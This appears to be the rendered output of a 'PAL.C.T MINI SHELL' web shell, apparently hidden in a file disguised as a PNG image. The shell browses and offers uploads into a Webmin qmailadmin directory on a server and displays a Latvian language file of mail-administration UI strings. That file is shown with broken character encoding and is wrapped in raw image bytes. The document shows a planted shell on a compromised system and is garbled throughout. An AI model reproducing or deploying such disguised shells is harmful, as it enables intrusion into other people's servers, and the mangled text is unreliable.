‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/qmailadmin/lang/
upload
files >> //usr/libexec/webmin/qmailadmin/lang/lv.auto

index_title=QMail pasta serveris
index_edir=QMail bÄzes direktorija $1 neeksistÄ“. VarbÅ«t QMail nav instalÄ“ts, vai jÅ«su <a href='$2'>moduļa konfigurÄcija</a> ir nepareiza.
index_edir2=Å Ä·iet, ka direktorijs $1 nav QMail bÄzes direktorija. VarbÅ«t QMail nav instalÄ“ts, vai jÅ«su <a href='$2'>moduļa konfigurÄcija</a> ir nepareiza.
index_return=QMail konfigurÄcija
index_stop=Apturiet QMail procesus
index_stopmsg=Noklikšķiniet uz šīs pogas, lai apturÄ“tu QMail fona procesus, kas ir atbildÄ«gi par rindas pasta piegÄdi. Bez Å¡iem procesiem pasts netiks pareizi nosÅ«tÄ«ts vai piegÄdÄts jÅ«su sistÄ“mÄ.
index_start=SÄciet QMail procesus
index_startmsg=Noklikšķiniet uz šīs pogas, lai sÄktu QMail fona procesus, kas ir atbildÄ«gi par rindas pasta piegÄdi. Bez Å¡iem procesiem pasts netiks pareizi nosÅ«tÄ«ts vai piegÄdÄts jÅ«su sistÄ“mÄ.

opts_title=QMail opcijas
opts_me=Vietējais resursdatora nosaukums
opts_helo=SMTP HELO resursdatora nosaukums
opts_toconnect=SMTP savienojuma noildze
opts_secs=sekundes
opts_toremote=SMTP izejoÅ¡Äs atbildes noildze
opts_bytes=MaksimÄlais ziņojuma lielums
opts_unlimited=Neierobežots
opts_timeout=SMTP ienÄkoÅ¡o datu noildze
opts_localip=E-pasta resursdatora nosaukums uz vietējo IP adresi
opts_greet=SMTP apsveikuma ziņojums
opts_err=NeizdevÄs saglabÄt QMail opcijas
opts_eme=Vietējais resursdatora nosaukums nav derīgs
opts_etoconnect=Nederīgs SMTP savienojuma noildze
opts_etoremote=NederÄ«gs SMTP izejoÅ¡Äs atbildes noildze
opts_ebytes=NederÄ«gs maksimÄlais ziņojuma lielums
opts_etimeout=NederÄ«gs ienÄkoÅ¡o SMTP datu noildze
opts_elocalip=NederÄ«gs vietÄ“jÄs IP adreses resursdators

aliases_title=Pasta pseidonīmi
aliases_addr=Adrese
aliases_to=Alias uz ..
aliases_type1=Adrese 1
aliases_type2=Pasta katalogs $1 
aliases_type3=Pasta fails $1 
aliases_type4=Programma $1 
aliases_type5=AutomÄtiskas atbildes fails $1 
aliases_type6=Lietot filtra failu $1 
aliases_none=Nav
aliases_return=pseidonīmu saraksts
aliases_toomany=JÅ«su sistÄ“mÄ ir pÄrÄk daudz pasta aizstÄjvÄrdu, lai tos parÄdÄ«tu Å¡ajÄ lapÄ.
aliases_go=Atrodiet aizstÄjvÄrdus:
aliases_delete=Dzēst atlasītos pseidonīmus

aform_type0=Nav
aform_type1=Epasta adrese
aform_type2=Pasta katalogs
aform_type3=Pasta fails
aform_type4=Plūsma programmai
aform_type5=AutomÄtiska atbilde no faila
aform_type6=Lietot filtra failu
aform_edit=Rediģēt aizstÄjvÄrdu
aform_create=Izveidot aizstÄjvÄrdu
aform_name=Adrese
aform_val=Pseidonīms
aform_afile=Rediģēt ..
aform_novirt=&lt;Visi domēni&gt;
aform_return=pseidonīms

asave_err=NeizdevÄs saglabÄt aizstÄjvÄrdu
asave_eaddr=“$1†nav derīga adrese
asave_ealready=“$1†aizstÄjvÄrds jau pastÄv
asave_etype1='$1' nav derīga e-pasta adrese
asave_etype2='$1' nav derīgs pasta katalogs
asave_etype3='$1' nav derīgs pasta faila nosaukums
asave_etype4='$1' nav derīga programma vai neeksistē
asave_etype5=AutomÄtiskÄs atbildes fails “$1†nav derÄ«gs
asave_etype4none=Programma nav dota
asave_etype6=Filtra fails “$1†nav derīgs

adelete_err=NeizdevÄs izdzÄ“st aizstÄjvÄrdus
adelete_enone=Nav atlasīts

locals_title=Vietējie domēni
locals_domains=Vietējie šī servera domēni
locals_desc=Qmail pieņems piegÄdi vietÄ“jiem lietotÄjiem pa e-pastu uz domÄ“niem un resursdatoru nosaukumiem, kas norÄdÄ«ti teksta lodziÅ†Ä pa kreisi. Ja vÄ“laties, lai jÅ«su pasta serveris apstrÄdÄtu vairÄkus e-pasta domÄ“nus, tie visi bÅ«tu jÄuzrÄda Å¡ajÄ veidlapÄ.
locals_only=Tikai vietējais resursdators $1 
locals_sel=DomÄ“ni, kas uzskaitÄ«ti zemÄk ..

rcpts_title=Pieņemtie domēni
rcpts_domains=Pieņemtie vietējie un releju domēni
rcpts_all=Jebkurš domēns
rcpts_sel=DomÄ“ni, kas uzskaitÄ«ti zemÄk ..
rcpts_desc=Qmail pieņem nosÅ«tīšanai vai sÅ«tīšanai pa pastu tikai domÄ“nus un resursdatoru nosaukumus, kas norÄdÄ«ti tekstlodziÅ†Ä pa kreisi. Varat arÄ« ievadÄ«t aizstÄjÄ“jzÄ«mes, kas atbilst visiem saimniekiem domÄ“nÄ, piemÄ“ram, <tt>.foo.com</tt>. Ja vÄ“laties, lai jÅ«su pasta serveris pÄrsÅ«tÄ«tu e-pastu klientiem, jums ir jÄpieņem pasts no jebkura domÄ“na.
rcpts_domains2=Papildu vietējie un releju domēni
rcpts_desc2=Ja jums ir liels skaits pieņemto domÄ“nu, Å¡ajÄ tekstlodziÅ†Ä jÄievada retÄk izmantotie domÄ“ni. Parasti jÅ«su pirmie 50 atļautie domÄ“ni jÄievada augšējÄ teksta lodziņÄ, bet pÄrÄ“jie - Å¡ajÄ.

bads_title=NoraidÄ«tÄs adreses
bads_addresses=NoraidÄ«tÄs e-pasta adreses
bads_desc=QMail noraidÄ«s pasta piegÄdi vai nosÅ«tīšanu no jebkuras adreses, kas norÄdÄ«ta tekstlodziÅ†Ä pa kreisi, un tas jÄievada kÄ <tt>lietotÄjvÄrds @ domÄ“na nosaukums</tt>. Ja vÄ“laties noraidÄ«t pasta sÅ«tÄ«jumus no visa domÄ“na, tas jÄievada kÄ <tt>@domainname</tt>.

routes_title=Domēna maršrutēšana
routes_toomany=JÅ«su sistÄ“mÄ ir pÄrÄk daudz domÄ“nu marÅ¡rutu, lai tos parÄdÄ«tu Å¡ajÄ lapÄ.
routes_go=Atrodiet domēnu maršrutus, kas atbilst:
routes_from=Pasts domēnam
routes_to=Sūtīt caur serveri
routes_direct=PiegÄdÄ tieÅ¡i
routes_defroute=PiegÄdÄt visu pÄrÄ“jo izejoÅ¡o pastu, izmantojot:
routes_return=domēna maršruti
routes_delete=Dzēst atlasītos domēna maršrutus

rform_edit=Rediģēt domēna maršrutu
rform_create=Izveidot domēna maršrutu
rform_from=Pasts resursdatoram vai domēnam
rform_to=Sūtīt caur SMTP serveri
rform_port=SMTP ports

rsave_err=NeizdevÄs saglabÄt domÄ“na marÅ¡rutu
rsave_efrom='$1' nav derÄ«gs domÄ“na vÄrds
rsave_eto='$1' nav derīgs SMTP serveris
rsave_eport='$1' nav derīgs porta numurs

rdelete_err=NeizdevÄs izdzÄ“st domÄ“na marÅ¡rutus

percents_title=% Adreses domēni
percents_domains=Domēni, kas atbalsta % adreses
percents_desc=QMail pieņems e-pastu ar adresÄ“m formÄtÄ <tt>user%firstdomain@seconddomain</tt>, ja <tt>seconddomain</tt> ir norÄdÄ«ts kreisajÄ lodziņÄ. PÄ“c tam Å¡is pasta serveris ziņojumus Å¡ÄdÄ formÄtÄ pÄrsÅ«tÄ«s <tt>user@firstdomain</tt>.

virts_title=VirtuÄlÄs kartēšanas
virts_toomany=JÅ«su sistÄ“mÄ ir pÄrÄk daudz virtuÄlo kartÄ“jumu, lai tos parÄdÄ«tu Å¡ajÄ lapÄ.
virts_go=Atrodiet atbilstoÅ¡us virtuÄlos attÄ“lojumus:
virts_from=Nosūtīt
virts_prepend=Pievienojiet prefiksu
virts_all=Visas adreses
virts_none=Nav virtuÄls
virts_desc=VirtuÄlÄs kartēšanas QMail izmanto, lai apstrÄdÄtu e-pastu uz dažÄdiem jÅ«su servera domÄ“niem, pirms turpmÄkÄs apstrÄdes ievietojot tekstu e-pasta adreses lietotÄja daļÄ. Varat tos izmantot virtuÄlo pasta domÄ“nu iestatīšanai, izveidojot jaunu domÄ“na virtuÄlo kartēšanu, pÄ“c tam izmantojot lapu <a href='$1'>Pasta aizstÄjvÄrdi</a>, lai Å¡ajÄ domÄ“nÄ izveidotu aizstÄjvÄrdus.
virts_return=virtuÄlas kartēšanas
virts_delete=DzÄ“st atlasÄ«tÄs virtuÄlÄs kartēšanas

vform_edit=Rediģēt virtuÄlo kartēšanu
vform_create=Izveidot virtuÄlo kartēšanu
vform_from=Pasta adrese
vform_all=Jebkura adrese neatbilst citai virtuÄlajai kartēšanai
vform_domain=Adreses ar domēnu
vform_user=Adrese
vform_to=Pievienot lietotÄjvÄrdam
vform_none=Nekas
vform_prepend=NorÄdÄ«tais prefikss
vform_auto=AutomÄtiski izvÄ“lÄ“ts prefikss

vsave_err=NeizdevÄs saglabÄt virtuÄlo kartēšanu
vsave_edomain='$1' nav derīgs e-pasta domēns
vsave_euser='$1' nav derÄ«gs e-pasta lietotÄjvÄrds
vsave_eprepend='$1' nav derīgs kartēšanas prefikss
vsave_eboth=Nevar atlasÄ«t gan “Jebkura adrese, kas neatbilst citai virtuÄlajai kartēšanaiâ€, gan “Nekasâ€.

vdelete_err=NeizdevÄs izdzÄ“st virtuÄlÄs kartēšanas

stop_err=qmail-sūtīšanas process vairs nedarbojas

log_stop=Apturēti QMail procesi
log_start=SÄcis QMail procesus
log_opts=Mainītas QMail opcijas
log_alias_create=Izveidots aizstÄjvÄrds $1 
log_alias_delete=DzÄ“st aizstÄjvÄrdu $1 
log_alias_modify=PÄrveidots aizstÄjvÄrds $1 
log_delete_aliases=IzdzÄ“sti $1 aizstÄjvÄrdi
log_virt_create=Izveidota virtuÄlÄ kartēšana $1 
log_virt_delete=DzÄ“sts virtuÄlais kartÄ“jums $1 
log_virt_modify=ModificÄ“ta virtuÄlÄ kartēšana $1 
log_delete_virts=IzdzÄ“sta $1 virtuÄlÄ kartēšana
log_virtall_create=Izveidota virtuÄlÄ kartēšanas kartēšana
log_virtall_delete=IzdzÄ“sta virtuÄlÄ kartēšanas kartÄ«te
log_virtall_modify=ModificÄ“ta cachall virtuÄlÄ kartēšana
log_locals=Mainīti vietējie domēni
log_rcpts=Mainīti pieņemtie domēni
log_bads=MainÄ«tas noraidÄ«tÄs adreses
log_percents=Mainīti % adreses domēni
log_route_create=Izveidots maršruts $1 
log_route_delete=Dzēsts maršruts $1 
log_route_modifed=PÄrveidots marÅ¡ruts $1 
log_delete_routes=Izdzēsti $1 maršruti
log_defroute=PÄrveidots noklusÄ“juma marÅ¡ruts
log_assign_create=Izveidots pasta lietotÄjs $1 
log_assign_delete=IzdzÄ“sts pasta lietotÄjs $1 
log_assign_modifed=PÄrveidots pasta lietotÄjs $1 
log_delete_assigns=IzdzÄ“sti $1 pasta lietotÄji
log_delmail=Izdzēsti $1 ziņojumi no $2 
log_movemail=$1 ziņojumi ir pÄrvietoti no $2 uz $3 
log_send=Nosūtīts pasts uz $1 

rfile_title=Rediģēt automÄtiskÄs atbildes failu
rfile_desc=Izmantojiet zemÄk esoÅ¡o teksta laukumu, lai rediģētu automÄtiskÄs atbildes ziņojumu $1. ZiņojumÄ var bÅ«t makro $SUBJECT, $FROM, $TO, $DATE un $BODY, kas tiks izvÄ“rsti, kad tiks aktivizÄ“ta automÄtiskÄ atbilde.
rfile_desc2=Varat arÄ« iestatÄ«t pasta galvenes, kas papildina vai aizvieto automÄtiskajÄ atbildÄ“ izmantotos noklusÄ“jumus, ievietojot Å¡Ädas rindiņas: <br><tt> No: foo@bar.com </tt><br> <tt>Temats: BrÄ«vdienÄs</tt> <br> ziņojuma augÅ¡daļÄ, atdalÄ«ta no pamatteksta ar vienu tukÅ¡u lÄ«niju.
rfile_efile=Jums nav atļauts rediģēt $1.
rfile_undo=Atsaukt izmaiņas
rfile_replies=Izsekot atbildes, lai novērstu pasta cilpas?
rfile_none=NÄ“
rfile_file=JÄ, izmantojot žurnÄlfailu
rfile_period=MinimÄlais intervÄls starp atbildÄ“m
rfile_default=Noklusējums (1 stunda)
rfile_secs=sekundes
rfile_ereplies=TrÅ«kst atbildes izsekoÅ¡anas žurnÄla faila
rfile_eperiod=Trūkst vai nav derīgs sekunžu skaits starp atbildēm
rfile_no_autoreply=NesÅ«tiet automÄtiskas atbildes uz
rfile_from=No: adrese atbildei
rfile_auto=AutomÄtiska (pamatojoties uz adresÄta adresi)
rfile_efrom=Trūkst No: adrese
rfile_fromdesc=A No: adrese vienmÄ“r ir jÄnorÄda, kur iespÄ“jams, jo automÄtiskÄ metode var nebÅ«t uzticama.

ffile_title=Rediģēt filtra failu
ffile_desc=Izmantojiet zemÄk esoÅ¡o formu, lai iestatÄ«tu filtra kÄrtulas failÄ $1.
ffile_efile=Jums nav atļauts rediģēt $1.
ffile_line=Ja $1 lauks $2 $3, tad uz priekšu uz $4 
ffile_from=no plkst
ffile_to=uz
ffile_subject=subjekts
ffile_cc=CC
ffile_body=Ä·ermenis
ffile_what0=neatbilst
ffile_what1=sērkociņi
ffile_other=PretÄ“jÄ gadÄ«jumÄ pÄrsÅ«tÄ«t uz $1 
ffile_err=NeizdevÄs saglabÄt filtra failu
ffile_ematch=Trūkst spēles
ffile_eaction=TrÅ«kst pÄrsÅ«tīšanas adreses

queue_title=Pasta rinda
queue_count=$1 ziņojumi
queue_none=PaÅ¡laik neviena pasta ziņa netiek piegÄdÄta rindÄ
queue_id=Pasta ID
queue_date=Nosūtīts
queue_from=No plkst
queue_to=Uz
queue_cc=Kopija
queue_subject=Priekšmets
queue_return=pasta rinda
queue_delete=Dzēsiet atlasītos ziņojumus
queue_all=Izvēlēties visus
queue_invert=ApgrieztÄ atlase
queue_refresh=AtsvaidzinÄt pasta rindu
queue_refreshdesc=PÄrlÄdÄ“jiet Å¡o lapu, lai parÄdÄ«tu pasta rindas paÅ¡reizÄ“jo stÄvokli.

qview_title=Sagaidīts ziņojums
qview_desc=No faila $1 
qview_headers=Pasta galvenes
qview_attach=Pielikumi

assigns_title=Pasta lietotÄju uzdevumi
assigns_return=pasta lietotÄju uzdevumi
assigns_toomany=JÅ«su sistÄ“mÄ ir pÄrÄk daudz pasta lietotÄju, lai tos parÄdÄ«tu Å¡ajÄ lapÄ.
assigns_go=Atrodiet atbilstoÅ¡us e-pasta lietotÄjus:
assigns_address=Pasts uz adresi
assigns_user=Unix lietotÄjs
assigns_uid=UID
assigns_gid=GID
assigns_home=SÄkuma katalogs
assigns_desc=Pasta lietotÄju piešķīrumi ļauj jums izveidot pastkastes lietotÄjiem, kas nav definÄ“ti Unix lietotÄju sarakstÄ. Katrs piešķīrums piegÄdÄs pastu ar izvÄ“lÄ“tu lietotÄjvÄrdu vai lietotÄjvÄrdu, it kÄ tas tiktu piegÄdÄts uz reÄlu Unix lietotÄja pastkasti.
assigns_delete=DzÄ“st atlasÄ«tos e-pasta lietotÄjus

sform_edit=Rediģēt pasta lietotÄju
sform_create=Izveidojiet pasta lietotÄju
sform_address=Adreses lietotÄjvÄrds
sform_mode0=PrecÄ«zs lietotÄjvÄrds
sform_mode1=LietotÄjvÄrdi, kas sÄkas ar
sform_user=Unix lietotÄjs
sform_uid=UID
sform_gid=GID
sform_home=SÄkuma katalogs

ssave_err=NeizdevÄs saglabÄt pasta lietotÄju
ssave_eaddress=TrÅ«kst vai nav derÄ«gs adreses lietotÄjvÄrds
ssave_euser=TrÅ«kst vai nav derÄ«gs Unix lietotÄjs
ssave_euid=Trūkst vai nav derīgs UID
ssave_egid=Trūkst vai nav derīgs GID
ssave_ehome=TrÅ«kst vai nav derÄ«gs mÄjas direktorijs

sdelete_err=NeizdevÄs izdzÄ“st pasta lietotÄjus

delete_egone=Rindas ziņojums vairs nepastÄv
delete_ebogus=Nederīgs rindas faila nosaukums

boxes_title=LietotÄju pastkastes
boxes_user=LietotÄjs
boxes_size=Pastkastes lielums
boxes_none=Nav pasta
boxes_return=pastkastītes
boxes_sent=Nosūtītais pasts
boxes_ecannot=Jums nav atļauts lasīt e-pastu
boxes_toomany=JÅ«su sistÄ“mÄ ir pÄrÄk daudz lietotÄju, lai uzskaitÄ«tu visas viņu pastkastes.
boxes_go=SkatÄ«t lietotÄja pastu:

mail_title=LietotÄja e-pasts
mail_from=No plkst
mail_date=Datums
mail_subject=Priekšmets
mail_to=Uz
mail_cc=Kopija
mail_bcc=DiskrÄ“tÄ kopija
mail_pri=PrioritÄte
mail_highest=AugstÄkais
mail_high=Augsts
mail_normal=NormÄli
mail_low=Zems
mail_lowest=ZemÄkais
mail_for=$1 
mail_for2=LietotÄjam $1 
mail_sent=NosÅ«tÄ«to e-pastu sarakstÄ
mail_size=Izmērs
mail_delete=Dzēst
mail_compose=SastÄdÄ«t
mail_return=lietotÄja pastkaste
mail_pos=Ziņojumi no $1 līdz $2 no $3 
mail_none=Å ajÄ pastkastÄ“ nav ziņojumu
mail_ecannot=Jums nav atļauts lasÄ«t šī lietotÄja e-pastu
mail_all=Izvēlēties visus
mail_invert=ApgrieztÄ atlase
mail_search=Atrodiet ziņojumus kur
mail_body=Korpuss
mail_match=sērkociņi
mail_ok=Meklēt
mail_nonefrom=Nav
mail_mark=AtzÄ«mÄ“t kÄ:
mail_mark0=Nelasīts
mail_mark1=Lasīt
mail_mark2=Īpašais
mail_forward=Uz priekšu
mail_rfc=No līnijas
mail_move=PÄrvietot uz:
mail_eexists=Ziņojums vairs nepastÄv!

view_title=Lasīt e-pastu
view_desc=Ziņojums $1 $2 
view_desc2=Ziņojums $1 lietotÄjam $2 
view_desc3=Ziņojums $1 
view_sent=Ziņojums $1 nosÅ«tÄ«to e-pastu sarakstÄ
view_qdesc=Sagaidīts ziņojums $1 
view_headers=Pasta galvenes
view_allheaders=Skatīt visas galvenes
view_noheaders=Skatīt galvenes galvenes
view_attach=Pielikumi
view_reply=Atbildi
view_reply2=Atbildēt uz visiem
view_enew=Rediģēt kÄ jaunu
view_forward=Uz priekšu
view_delete=Dzēst
view_strip=Noņemiet pielikumus
view_ecannot=Jums nav atļauts lasÄ«t šī lietotÄja e-pastu
view_mark=AtzÄ«mÄ“t ziņojumu kÄ:
view_mark0=Nelasīts
view_mark1=Lasīt
view_mark2=Īpašais
view_return=oriÄ£inÄls e-pasts
view_sub=Pievienots e-pasts

compose_title=SastÄdÄ«t e-pastu
reply_title=Atbildēt uz e-pastu
forward_title=PÄrsÅ«tÄ«t e-pastu
enew_title=Rediģēt e-pastu
reply_headers=Pasta galvenes
reply_attach=PÄrsÅ«tÄ«tie pielikumi
reply_mailforward=PÄrsÅ«tÄ«tie ziņojumi
reply_attach2=Klienta un servera puses pielikumi
reply_send=Nosūtīt pastu
reply_ecannot=Jums nav atļauts sÅ«tÄ«t vÄ“stules kÄ Å¡im lietotÄjam

send_err=NeizdevÄs nosÅ«tÄ«t pastu
send_eto=Trūkst adreses
send_efrom=Trūkst adreses
send_title=Pasts nosūtīts
send_ok=Pasts veiksmīgi nosūtīts uz $1 
send_ecannot=Jums nav atļauts sÅ«tÄ«t vÄ“stules kÄ Å¡im lietotÄjam
send_esmtp=SMTP komanda $1 neizdevÄs : $2 
send_efile=Pievienotais fails $1 neeksistē
send_eattach=Pielikumu kopsumma nedrÄ«kst pÄrsniegt $1 kB.
send_eperms=LietotÄjs $1 nevar nolasÄ«t $2 
send_eperms2=Jums nav atļauts sūtīt failu $1 
send_epath=NosÅ«tīšanas izpildÄmais $1 neeksistÄ“.

delete_title=Dzēst pastu
delete_rusure=Vai tieÅ¡Äm vÄ“laties dzÄ“st $1 atlasÄ«tos ziņojumus no $2 ? Tas var aizņemt kÄdu laiku, kamÄ“r tiek izveidots liels pasta fails. KamÄ“r dzēšana nav pabeigta, citas darbÄ«bas nevajadzÄ“tu veikt.
delete_rusure2=Vai tieÅ¡Äm vÄ“laties dzÄ“st Å¡o ziņojumu no $1 ? Tas var aizņemt kÄdu laiku, kamÄ“r tiek izveidots liels pasta fails. KamÄ“r dzēšana nav pabeigta, citas darbÄ«bas nevajadzÄ“tu veikt.
delete_ok=Dzēst tūlīt
delete_ecannot=Tagad jums ir atļauts izdzÄ“st šī lietotÄja vÄ“stules
delete_enone=Dzēšanai nav atlasīts neviens pasts
delete_emnone=Nav atzīmēts neviens e-pasts
delete_nobutton=Neviena poga nav noklikšķinÄjusi

search_title=Meklēšanas rezultÄti
search_ecannot=Jums nav atļauts meklÄ“t šī lietotÄja e-pastÄ
search_ematch=Jums ir jÄievada teksts, kuram jÄsakrÄ«t.
search_efield=Jums jÄizvÄ“las meklēšanas tips.
search_none=Nav atrasts neviens ziņojums.
search_results2=$1 pasta ziņas, kas atbilst $2.
search_results3=$1 pasta ziņojumi neatbilst $2.

match_from=No: sakritības
match_subject=Temats: spēles
match_to=Kam: atbilst
match_cc=Kopija: atbilst
match_date=Datums: atbilst
match_body=Ķermeņa sērkociņi
match_size=IzmÄ“rs ir lielÄks par
match_headers=Galvenes sakrīt
match_=-----------------
match_!from=No: neatbilst
match_!subject=Temats: neatbilst
match_!to=Kam: neatbilst
match_!cc=Kopija: neatbilst
match_!date=Datums: neatbilst
match_!body=Ķermenis neatbilst
match_!size=IzmÄ“rs ir mazÄks par
match_!headers=Galvenes nesakrīt

delq_titles=Ziņu dzēšana
delq_rusure=Vai tieÅ¡Äm vÄ“laties dzÄ“st $1 atlasÄ«tos rindas ziņojumus?
delq_confirm=Dzēst ziņas
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚